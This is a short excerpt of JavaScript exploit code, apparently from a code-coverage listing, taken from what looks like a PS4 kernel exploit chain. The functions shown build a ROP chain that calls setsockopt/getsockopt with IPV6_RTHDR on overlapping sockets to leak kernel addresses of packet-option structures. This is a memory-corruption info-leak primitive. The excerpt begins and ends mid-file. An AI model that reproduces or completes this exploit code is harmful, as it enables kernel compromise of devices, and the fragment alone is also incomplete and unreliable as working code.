(size)
| 548 | } |
| 549 | |
| 550 | function leak_rthdr_address(size) { |
| 551 | const ip6r_len = ((size >> 3) - 1 & ~1); |
| 552 | const ip6r_segleft = (ip6r_len >> 1); |
| 553 | const header = (ip6r_len << 8) + (ip6r_segleft << 24); { |
| 554 | chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, size); |
| 555 | chain.push_write8(rthdr_buffer, header); |
| 556 | chain.push_write8(ptr_size_of_rthdr_buffer, size); |
| 557 | chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ((ip6r_len + 1) << 3)); |
| 558 | chain.fcall(syscalls[118], overlapped_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ptr_size_of_rthdr_buffer); |
| 559 | } |
| 560 | chain.run(); |
| 561 | const kaddress = p.read8(rthdr_buffer.add32(PKTOPTS_RTHDR_OFFSET)); |
| 562 | return kaddress; |
| 563 | } |
| 564 | |
| 565 | function leak_pktopts() { |
| 566 | leaked_pktopts_address = leak_rthdr_address(0x100); { |
no test coverage detected